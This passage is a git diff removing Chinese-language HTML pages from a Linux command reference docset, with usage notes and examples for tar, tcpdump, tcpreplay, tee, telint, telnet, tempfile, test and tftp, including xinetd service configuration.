-解压并解包: tar -zxvf [原文件名].tar.gz
-注:z代表用gzip算法来压缩/解压。

-

tar.bz2格式

-

方式一:利用已经打包好的tar文件,直接执行压缩命令:

-

压缩:bzip2 [原文件名].tar
-解压:bunzip2 [原文件名].tar.bz2
-方式二:一次性打包并压缩、解压并解包

-

打包并压缩: tar -jcvf [目标文件名].tar.bz2 [原文件名/目录名]
-解压并解包: tar -jxvf [原文件名].tar.bz2
-注:小写j代表用bzip2算法来压缩/解压。

-

tar.xz格式

-

方式一:利用已经打包好的tar文件,直接用压缩命令:

-

压缩:xz [原文件名].tar
-解压:unxz [原文件名].tar.xz
-方式二:一次性打包并压缩、解压并解包

-

打包并压缩: tar -Jcvf [目标文件名].tar.xz [原文件名/目录名]
-解压并解包: tar -Jxvf [原文件名].tar.xz
-注:大写J代表用xz算法来压缩/解压。

-

tar.Z格式(已过时)

-

方式一:利用已经打包好的tar文件,直接用压缩命令:

-

压缩:compress [原文件名].tar
-解压:uncompress [原文件名].tar.Z
-方式二:一次性打包并压缩、解压并解包

-

打包并压缩: tar -Zcvf [目标文件名].tar.Z [原文件名/目录名]
-解压并解包: tar -Zxvf [原文件名].tar.Z
-注:大写Z代表用ncompress算法来压缩/解压。另,ncompress是早期Unix系统的压缩格式,但由于ncompress的压缩率太低,现已过时。

-

jar格式

-

压缩:jar -cvf [目标文件名].jar [原文件名/目录名]
-解压:jar -xvf [原文件名].jar

-

注:如果是打包的是Java类库,并且该类库中存在主类,那么需要写一个META-INF/MANIFEST.MF配置文件,内容如下:

-
Manifest-Version: 1.0
-Created-By: 1.6.0_27 (Sun Microsystems Inc.)
-Main-class: the_name_of_the_main_class_should_be_put_here
-
-

然后用如下命令打包:

-

jar -cvfm [目标文件名].jar META-INF/MANIFEST.MF [原文件名/目录名]
-这样以后就能用“java -jar [文件名].jar”命令直接运行主类中的public static void main方法了。

-

7z格式

-

压缩:7z a [目标文件名].7z [原文件名/目录名]
-解压:7z x [原文件名].7z
-注:这个7z解压命令支持rar格式,即:

-

7z x [原文件名].rar

-

其它例子

-

将文件全部打包成tar包

-
tar -cvf log.tar log2012.log    仅打包,不压缩!
-tar -zcvf log.tar.gz log2012.log   打包后,以 gzip 压缩
-tar -jcvf log.tar.bz2 log2012.log  打包后,以 bzip2 压缩
-
-

在选项f之后的文件档名是自己取的,我们习惯上都用 .tar 来作为辨识。 如果加z选项,则以.tar.gz或.tgz来代表gzip压缩过的tar包;如果加j选项,则以.tar.bz2来作为tar包名。

-

解压目录

-

去掉第一层目录结构,要出除第二层,--strip-components 2

-
tar -xvf portal-web-v2.0.0.tar --strip-components 1  -C 指定目录
-
-

查阅上述tar包内有哪些文件

-
tar -ztvf log.tar.gz
-
-

由于我们使用 gzip 压缩的log.tar.gz,所以要查阅log.tar.gz包内的文件时,就得要加上z这个选项了。

-

将tar包解压缩

-
tar -zxvf /opt/soft/test/log.tar.gz
-
-

在预设的情况下,我们可以将压缩档在任何地方解开的

-

只将tar内的部分文件解压出来

-
tar -zxvf /opt/soft/test/log30.tar.gz log2013.log
-
-

我可以透过tar -ztvf来查阅 tar 包内的文件名称,如果单只要一个文件,就可以透过这个方式来解压部分文件!

-

文件备份下来,并且保存其权限

-
tar -zcvpf log31.tar.gz log2014.log log2015.log log2016.log
-
-

这个-p的属性是很重要的,尤其是当您要保留原本文件的属性时。

-

在文件夹当中,比某个日期新的文件才备份

-
tar -N "2012/11/13" -zcvf log17.tar.gz test
-
-

备份文件夹内容是排除部分文件:

-
tar --exclude scf/service -zcvf scf.tar.gz scf/*
-
-

打包文件之后删除源文件:

-
tar -cvf test.tar test --remove-files
-
-

其实最简单的使用 tar 就只要记忆底下的方式即可:

-
压 缩:tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称
-查 询:tar -jtv -f filename.tar.bz2
-解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tcpdump.html b/linux-command.docset/Contents/Resources/Documents/c/tcpdump.html deleted file mode 100644 index 1adac90642..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tcpdump.html +++ /dev/null @@ -1,162 +0,0 @@ - - - - - - - - - - - tcpdump 命令,Linux tcpdump 命令详解:一款sniffer工具,是Linux上的抓包工具,嗅探器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tcpdump

-

一款sniffer工具,是Linux上的抓包工具,嗅探器

-

补充说明

-

tcpdump命令 是一款抓包,嗅探器工具,它可以打印所有经过网络接口的数据包的头信息,也可以使用-w选项将数据包保存到文件中,方便以后分析。

-

语法

-
tcpdump(选项)
-
-

选项

-
-a:尝试将网络和广播地址转换成名称;
--c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;
--d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;
--dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;
--ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;
--e:在每列倾倒资料上显示连接层级的文件头;
--f:用数字显示网际网络地址;
--F<表达文件>:指定内含表达方式的文件;
--i<网络界面>:使用指定的网络截面送出数据包;
--l:使用标准输出列的缓冲区;
--n:不把主机的网络地址转换成名字;
--N:不列出域名;
--O:不将数据包编码最佳化;
--p:不让网络界面进入混杂模式;
--q :快速输出,仅列出少数的传输协议信息;
--r<数据包文件>:从指定的文件读取数据包数据;
--s<数据包大小>:设置每个数据包的大小;
--S:用绝对而非相对数值列出TCP关联数;
--t:在每列倾倒资料上不显示时间戳记;
--tt: 在每列倾倒资料上显示未经格式化的时间戳记;
--T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;
--v:详细显示指令执行过程;
--vv:更详细显示指令执行过程;
--x:用十六进制字码列出数据包资料;
--w<数据包文件>:把数据包数据写入指定的文件。
-
-

实例

-

直接启动tcpdump将监视第一个网络接口上所有流过的数据包

-
tcpdump
-
-

监视指定网络接口的数据包

-
tcpdump -i eth1
-
-

如果不指定网卡,默认tcpdump只会监视第一个网络接口,一般是eth0,下面的例子都没有指定网络接口。

-

监视指定主机的数据包

-

打印所有进入或离开sundown的数据包。

-
tcpdump host sundown
-
-

也可以指定ip,例如截获所有210.27.48.1 的主机收到的和发出的所有的数据包

-
tcpdump host 210.27.48.1
-
-

打印helios 与 hot 或者与 ace 之间通信的数据包

-
tcpdump host helios and \( hot or ace \)
-
-

截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信

-
tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)
-
-

打印ace与任何其他主机之间通信的IP 数据包, 但不包括与helios之间的数据包.

-
tcpdump ip host ace and not helios
-
-

如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:

-
tcpdump ip host 210.27.48.1 and ! 210.27.48.2
-
-

抓取eth0网卡上的包,使用:

-
sudo tcpdump -i eth0
-
-

截获主机hostname发送的所有数据

-
tcpdump -i eth0 src host hostname
-
-

监视所有送到主机hostname的数据包

-
tcpdump -i eth0 dst host hostname
-
-

监视指定主机和端口的数据包

-

如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令

-
tcpdump tcp port 23 and host 210.27.48.1
-
-

对本机的udp 123 端口进行监视 123 为ntp的服务端口

-
tcpdump udp port 123
-
-

监视指定网络的数据包

-

打印本地主机与Berkeley网络上的主机之间的所有通信数据包

-
tcpdump net ucb-ether
-
-

ucb-ether此处可理解为“Berkeley网络”的网络地址,此表达式最原始的含义可表达为:打印网络地址为ucb-ether的所有数据包

-

打印所有通过网关snup的ftp数据包

-
tcpdump 'gateway snup and (port ftp or ftp-data)'
-
-

注意:表达式被单引号括起来了,这可以防止shell对其中的括号进行错误解析

-

打印所有源地址或目标地址是本地主机的IP数据包

-
tcpdump ip and not net localnet
-
-

如果本地网络通过网关连到了另一网络,则另一网络并不能算作本地网络。

-

抓取80端口的HTTP报文,以文本形式展示:

-
sudo tcpdump -i any port 80 -A
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tcpreplay.html b/linux-command.docset/Contents/Resources/Documents/c/tcpreplay.html deleted file mode 100644 index a1dc91ca80..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tcpreplay.html +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - - - - - - tcpreplay 命令,Linux tcpreplay 命令详解:将PCAP包重新发送,用于性能或者功能测试 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tcpreplay

-

将PCAP包重新发送,用于性能或者功能测试

-

补充说明

-

简单的说, tcpreplay 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。

-

选项

-
-A "<args>" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。
--c <cachefile> 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 
--D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 
--e <ip1:ip2> 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 
--f <configfile> 指定配置文件。
--F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。
--h 显示帮助文件。 
--i <nic> 双网卡回放报文必选参数,指定主接口。
--I <mac> 重写主网卡发送出报文的目的MAC地址。 
--j <nic> 双网卡回放报文必选参数,指定从接口。
--J <mac> 重写从网卡发送出报文的目的MAC地址。 
--k <mac> 重写主网卡发送报文的源MAC地址。 
--K <mac> 重写从网卡发送报文的源MAC地址。
--l <loop> 指定循环的次数。
--L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。 
--m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。
--M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。
--n 在使用-S参数,不对混杂模式进行侦听。
--N <CIDR1:CIDR2,...> 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。
--O 没有测试使用。
--p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
--P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。
--r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
--R 让网卡极限速度发数据包。 
--t <mtu> 指定MTU,标准的10/100M网卡的默认值是1500。 
--T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。
--v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
--V 查看版本号。
--w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。
-
-

实例

-

**1、重放在客户端 ftp 连接的报文 **

-

a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。

-

b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。

-
[root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v 
-
-

c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使用 tcpreplay 重 放报文。注意防火墙的配置为网桥(透明)模式。 

-
[root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R –v 
-
-

-R 参数表示全速发送,-v 显示打印信息。 

-

**2、重放在客户端 BT 连接的报文 **

-

a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。 

-

b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。

-
 [root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v
-
-

制作 cache 文件,在 cache 文件中写入“100M BT Packet”的注释。 

-

c、使用 tcpreplay 重放报文。 

-
[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R 
-
-

**3、重放 tftp 服务器上抓到的报文 **

-

a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。 

-

b、将 pcap 文件进行 tcpprep 的操作,制作 cache 文件。 

-
[root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache –v 
-
-

注意:我在测试的时候犯了一个错误,使用 DUT 的 tftp 升级来做实验,同时穿 过 DUT 重放报文,结果在网卡发送报文的后,DUT 的 mac 地址做了的回应,导致 交互过程没有穿过 DUT,这个问题比较搞笑,上午弄了半天才发现原因,开始还 以为 udp 的连接不能重放。 

-

c、使用 tcpreplay 重放报文。 

-
[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tee.html b/linux-command.docset/Contents/Resources/Documents/c/tee.html deleted file mode 100644 index 4a8f7b0be7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tee.html +++ /dev/null @@ -1,114 +0,0 @@ - - - - - - - - - - - tee 命令,Linux tee 命令详解:从标准输入读取数据并重定向到标准输出和文件。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tee

-

从标准输入读取数据并重定向到标准输出和文件。

-

概要

-
tee [OPTION]... [FILE]...
-
-

主要用途

-
    -
  • 需要同时查看数据内容并输出到文件时使用。
  • -
-

参数

-

FILE(可选):要输出的文件,可以为一或多个。

-

选项

-
长选项与短选项等价
-
--a, --append               追加到文件中而不是覆盖。
--i, --ignore-interrupts    忽略中断信号(Ctrl+c中断操作无效)。
--p                         诊断写入非管道的错误。
---output-error[=MODE]      设置写错误时的行为,请查看下方的MODE部分。
---help                     显示帮助信息并退出。
---version                  显示版本信息并退出。
-
-MODE决定了当出现写错误时的输出行为,可用的MODE如下:
-
-'warn'           当写入到任何输出报错时诊断。
-'warn-nopipe'    当写入到任何输出(而不是管道)报错时诊断。
-'exit'           当写入到任何输出报错时退出。
-'exit-nopipe'    当写入到任何输出(而不是管道)报错时退出。
-
--p选项的指定的默认MODE为'warn-nopipe'。
-当'--output-error'没有在选项中时,默认的操作是当写入到管道报错时立刻退出,诊断错误信息并写入到非管道输出。
-
-

返回值

-

返回状态为成功除非给出了非法选项或非法参数。

-

例子

-
# 将进程信息通过管道输出到标准输出(终端)并覆盖写入到文件中。
-ps -ef |tee info_a.log info_b.log
-
-# 将进程信息通过管道输出到标准输出(终端)并追加写入到文件中。
-ps -ef |tee -a info_a.log info_b.log
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 teeinfo coreutils 'tee invocation'
  2. -
  3. 存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/telint.html b/linux-command.docset/Contents/Resources/Documents/c/telint.html deleted file mode 100644 index d671114b7d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/telint.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - telint 命令,Linux telint 命令详解:切换当前正在运行系统的运行等级 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

telint

-

切换当前正在运行系统的运行等级

-

补充说明

-

telint命令 用于切换当前正在运行的Linux系统的运行等级。

-

语法

-
telint(选项)(参数)
-
-

选项

-
-t:指定等待的秒数。
-
-

参数

-

运行等级:指定要切换的运行等级。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/telnet.html b/linux-command.docset/Contents/Resources/Documents/c/telnet.html deleted file mode 100644 index 049a31a8af..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/telnet.html +++ /dev/null @@ -1,166 +0,0 @@ - - - - - - - - - - - telnet 命令,Linux telnet 命令详解:登录远程主机和管理(测试ip端口是否连通) - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

telnet

-

登录远程主机和管理(测试ip端口是否连通)

-

补充说明

-

telnet命令 用于登录远程主机,对远程主机进行管理。telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录,因此弄清楚telnet客户端的使用方式仍是很有必要的。

-

语法

-
telnet(选项)(参数)
-
-

选项

-
-8:允许使用8位字符资料,包括输入与输出;
--a:尝试自动登入远端系统;
--b<主机别名>:使用别名指定远端主机名称;
--c:不读取用户专属目录里的.telnetrc文件;
--d:启动排错模式;
--e<脱离字符>:设置脱离字符;
--E:滤除脱离字符;
--f:此参数的效果和指定"-F"参数相同;
--F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机;
--k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名;
--K:不自动登入远端主机;
--l<用户名称>:指定要登入远端主机的用户名称;
--L:允许输出8位字符资料;
--n<记录文件>:指定文件记录相关信息;
--r:使用类似rlogin指令的用户界面;
--S<服务类型>:设置telnet连线所需的ip TOS信息;
--x:假设主机有支持数据加密的功能,就使用它;
--X<认证形态>:关闭指定的认证形态。
-
-

参数

-
    -
  • 远程主机:指定要登录进行管理的远程主机;
  • -
  • 端口:指定TELNET协议使用的端口号。
  • -
-

实例

-
$ telnet 192.168.2.10
-Trying 192.168.2.10...
-Connected to 192.168.2.10 (192.168.2.10).
-Escape character is '^]'.
-
-    localhost (Linux release 2.6.18-274.18.1.el5 #1 SMP Thu Feb 9 12:45:44 EST 2012) (1)
-
-login: root
-Password:
-Login incorrect
-
-

一般情况下不允许root从远程登录,可以先用普通账号登录,然后再用su -切到root用户。

-
$ telnet 192.168.188.132
-Trying 192.168.188.132...
-telnet: connect to address 192.168.188.132: Connection refused
-telnet: Unable to connect to remote host
-
-

处理这种情况方法:

-
    -
  1. 确认ip地址是否正确?
  2. -
  3. 确认ip地址对应的主机是否已经开机?
  4. -
  5. 如果主机已经启动,确认路由设置是否设置正确?(使用route命令查看)
  6. -
  7. 如果主机已经启动,确认主机上是否开启了telnet服务?(使用netstat命令查看,TCP的23端口是否有LISTEN状态的行)
  8. -
  9. 如果主机已经启动telnet服务,确认防火墙是否放开了23端口的访问?(使用iptables-save查看)
  10. -
-

启动telnet服务

-
service xinetd restart
-
-

配置参数,通常的配置如下:

-
service telnet
-{
-    disable = no #启用
-    flags = REUSE #socket可重用
-    socket_type = stream #连接方式为TCP
-    wait = no #为每个请求启动一个进程
-    user = root #启动服务的用户为root
-    server = /usr/sbin/in.telnetd #要激活的进程
-    log_on_failure += USERID #登录失败时记录登录用户名
-}
-
-

如果要配置允许登录的客户端列表,加入

-
only_from = 192.168.0.2 #只允许192.168.0.2登录
-
-

如果要配置禁止登录的客户端列表,加入

-
no_access = 192.168.0.{2,3,4} #禁止192.168.0.2、192.168.0.3、192.168.0.4登录
-
-

如果要设置开放时段,加入

-
access_times = 9:00-12:00 13:00-17:00 # 每天只有这两个时段开放服务(我们的上班时间:P)
-
-

如果你有两个IP地址,一个是私网的IP地址如192.168.0.2,一个是公网的IP地址如218.75.74.83,如果你希望用户只能从私网来登录telnet服务,那么加入

-
bind = 192.168.0.2
-
-

各配置项具体的含义和语法可参考xined配置文件属性说明(man xinetd.conf)

-

配置端口,修改services文件:

-
# vi /etc/services
-
-

找到以下两句

-
telnet 23/tcp
-telnet 23/udp
-
-

如果前面有#字符,就去掉它。telnet的默认端口是23,这个端口也是黑客端口扫描的主要对象,因此最好将这个端口修改掉,修改的方法很简单,就是将23这个数字修改掉,改成大一点的数字,比如61123。注意,1024以下的端口号是internet保留的端口号,因此最好不要用,还应该注意不要与其它服务的端口冲突。

-

启动服务:

-
service xinetd restart
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tempfile.html b/linux-command.docset/Contents/Resources/Documents/c/tempfile.html deleted file mode 100644 index 3d33a70a39..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tempfile.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - tempfile 命令,Linux tempfile 命令详解:shell中给临时文件命名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tempfile

-

shell中给临时文件命名

-

补充说明

-

有时候在写Shell脚本的时候需要一些临时存储数据的才做,最适合存储临时文件数据的位置就是/tmp,因为该目录中所有的内容在系统重启后就会被清空。下面是两种方法为临时数据生成标准的文件名。

-

tempfile命令

-

tempfile命令只有在基于Debian的发行版中才默认自带,比如Ubuntu,其他发行版没有这个命令。

-

用tempfile命令为一个临时文件命名:

-
temp_file_name=$(tempfile)
-
-

用一个加带了随机数的文件名作为临时文件命名:

-
temp_file_name="/tmp/file_$RANDOM"
-
-

$RANDOM是一个返回随机数的环境变量。

-

$变量

-

如果没有tempfile命令的Linux发行版,也可以使用自己的临时文件名:

-
temp_file_name="/tmp/file.$"
-
-

$是系统预定义变量,显示当前所在进程的进程号,用.$作为添加的后缀会被扩展成当前运行脚本的进程id。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/test.html b/linux-command.docset/Contents/Resources/Documents/c/test.html deleted file mode 100644 index 2686525576..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/test.html +++ /dev/null @@ -1,153 +0,0 @@ - - - - - - - - - - - test 命令,Linux test 命令详解:执行条件表达式。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

test

-

执行条件表达式。

-

概要

-
test [expr]
-
-

主要用途

-
    -
  • 执行条件表达式。
  • -
-

参数

-

文件操作符:

-
-a FILE    如果文件存在,则为true。
--b FILE    如果文件是块特殊的,则为true。
--c FILE    如果文件是特殊字符,则为true。
--d FILE    如果文件是目录,则为true。
--e FILE    如果文件存在,则为true。
--f FILE    如果文件存在并且是常规文件,则为true。
--g FILE    如果文件是set-group-id,则为true。
--h FILE    如果文件是符号链接,则为true。
--L FILE    如果文件是符号链接,则为true。
--k FILE    如果文件的粘滞位(sticky)设置了,则为true。
--p FILE    如果文件是命名管道,则为true。
--r FILE    如果您可以读取文件,则为true。
--s FILE    如果文件存在且不为空,则为true。
--S FILE    如果文件是套接字,则为true。
--t FD      如果在终端上打开FD,则为True。
--u FILE    如果文件是set-user-id,则为true。
--w FILE    如果文件可写,则为true。
--x FILE    如果您可以执行文件,则为true。
--O FILE    如果文件有效地归您所有,则为true。
--G FILE    如果文件有效地归您的组所有,则为true。
--N FILE    如果文件自上次读取以来已被修改,则为true。
-    
-FILE1 -nt FILE2    根据修改日期,如果 file1 比 file2 新,则为true。
-FILE1 -ot FILE2    根据修改日期,如果 file1 比 file2 旧,则为true。
-FILE1 -ef FILE2    如果 file1 为 file2 的硬链接,则为true。
-
-

字符串运算符:

-
-z STRING              如果字符串为空,则为true。
--n STRING              如果字符串不为空,则为true。
-STRING                 如果字符串不为空,则为true。
-STRING1 = STRING2      如果字符串相等,则为true。
-STRING1 != STRING2    如果字符串不相等,则为true。
-STRING1 < STRING2      如果 STRING1 的字典排序在 STRING2 之前,则为true。
-STRING1 > STRING2      如果 STRING1 在字典排序在 STRING2 之后,则为true。
-
-

其他运算符:

-
-o OPTION         如果启用了shell选项OPTION,则为true。
--v VAR            如果设置了shell变量VAR,则为true。
--R VAR            如果设置了shell变量VAR并且是变量引用,则为true。
-!EXPR            如果expr为假,则为true。
-EXPR1 -a EXPR2    如果expr1和expr2都为true,则为true。
-EXPR1 -o EXPR2    如果expr1或expr2为true,则为true。
-arg1 OP arg2      算术表达式测试; OP是 -eq,-ne,-lt,-le,-gt,-ge 中的一个;算术表达式为真时返回true。
-
-

返回值

-

如果表达式执行结果为成功时返回0,当表达式执行结果为失败或给出非法参数时返回1。

-

例子

-
# 执行条件表达式并显示返回值。
-[root@pc root]$ test ! "abc" == 123; echo $?
-0
-
-# 等价形式,注意:方括号 [ 后面的空格以及方括号 ] 前面的空格。
-[root@pc root]$ [ ! "abc" == 123 ]; echo $?
-0
-
-[root@pc root]$ [[ ! "abc" == 123 ]]; echo $?
-0
-
-

注意

-
    -
  1. 该命令等价于 [
  2. -
  3. 编写 bash 条件表达式可用内建命令 test[ ,组合命令 [[
  4. -
-
-
    -
  • 关于条件表达式可以查看这里
  • -
  • 关于内建命令的索引可以查看这里
  • -
  • 关于组合命令的索引可以查看这里
  • -
-
-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/tftp.html b/linux-command.docset/Contents/Resources/Documents/c/tftp.html deleted file mode 100644 index 63d1437106..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/tftp.html +++ /dev/null @@ -1,170 +0,0 @@ - - - - - - - - - - - tftp 命令,Linux tftp 命令详解:在本机和tftp服务器之间使用TFTP协议传输文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

tftp

-

在本机和tftp服务器之间使用TFTP协议传输文件

-

补充说明

-

tftp命令 用在本机和tftp服务器之间使用TFTP协议传输文件。

-

TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面:一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置。

-

语法

-
tftp(选项)(参数)
-
-

选项

-
-c:指定与tftp服务器连接成功后,立即要执行的指令;
--m:指定文件传输模式。可以是ASCII或者Binary;
--v:显示指令详细执行过程;
--V:显示指令版本信息。
-
-

参数

-

主机:指定tftp要联机的tftp服务器的ip地址或主机名。

-

实例

-

1、安装tftp服务器

-

需要安装xinetd、tftp和tftp-server 3个软件

-

如果能上网,通过yum安装:

-
yum install xinetd
-yum install tftp
-yum install tftp-server
-
-

如果不能上网,可以直接安装提供的rpm包:

-
rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm
-rpm -ivh tftp-0.48-3.fc9.i386.rpm
-rpm -ivh tftp-server-0.48-3.fc9.i386.rpm
-
-

2、配置tftp服务器

-

修改/etc/xinetd.d/tftp文件,将其中的disable=yes改为disable=no。主要是设置TFTP服务器的根目录,开启服务。修改后的文件如下:

-
service tftp
-{
-       socket_type           =dgram
-       protocol              =udp
-       wait                  =yes
-       user                  =root
-       server                =/usr/sbin/in.tftpd
-       server_args           =-s  /home/mike/tftpboot -c
-       disable               =no
-       per_source            =11
-       cps                   =100 2
-       flags                 =IPv4
-}
-
-

说明:修改项server_args= -s <path> -c,其中处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定了可以创建文件。

-

3、启动tftp服务器并关闭防火墙

-
/etc/init.d/iptables stop        # 关闭防火墙
-sudo /sbin/service xinetd start
-或
-service xinetd restart
-/etc/init.d/xinetd start
-
-

看到启动[OK]就可以了

-

4、查看tftp服务是否开启

-
netstat -a | grep tftp
-
-

显示结果为udp 0 0 *:tftp *:*表明服务已经开启,就表明tftp配置成功了。

-

5、tftp使用

-

复制一个文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试。

-
tftp 192.168.1.2
-tftp>get <download file> 
-
-tftp>put <upload file>
-tftp>q
-
-

6、tftp命令用法如下

-
tftp your-ip-address
-
-

进入TFTP操作:

-
    -
  • connect:连接到远程tftp服务器
  • -
  • mode:文件传输模式
  • -
  • put:上传文件
  • -
  • get:下载文件
  • -
  • quit:退出
  • -
  • verbose:显示详细的处理信息
  • -
  • tarce:显示包路径
  • -
  • status:显示当前状态信息
  • -
  • binary:二进制传输模式
  • -
  • ascii:ascii 传送模式
  • -
  • rexmt:设置包传输的超时时间
  • -
  • timeout:设置重传的超时时间
  • -
  • help:帮助信息
  • -
  • ? :帮助信息
  • -
-

7、如果老是出现“AVC Denial, click icon to view”的错误,并不能传输文件,需要作如下修改

-

修改/etc/sysconfig/selinux,将SELINUX设定为disable,使用命令setenforce 0让selinux配置文件生效。

-

8、Busybox中tftp命令的用法

-

命令格式为:

-
tftp [option] ... host [port]
-
-

如果要下载或上传文件的话是一定要用这些option的。

-
-g 表示下载文件 (get)
--p 表示上传文件 (put)
--l 表示本地文件名 (local file)
--r 表示远程主机的文件名 (remote file)
-
-

例如,要从远程主机192.168.1.2上下载 embedexpert,则应输入以下命令

-
tftp -g -r embedexpert 192.168.1.2
-
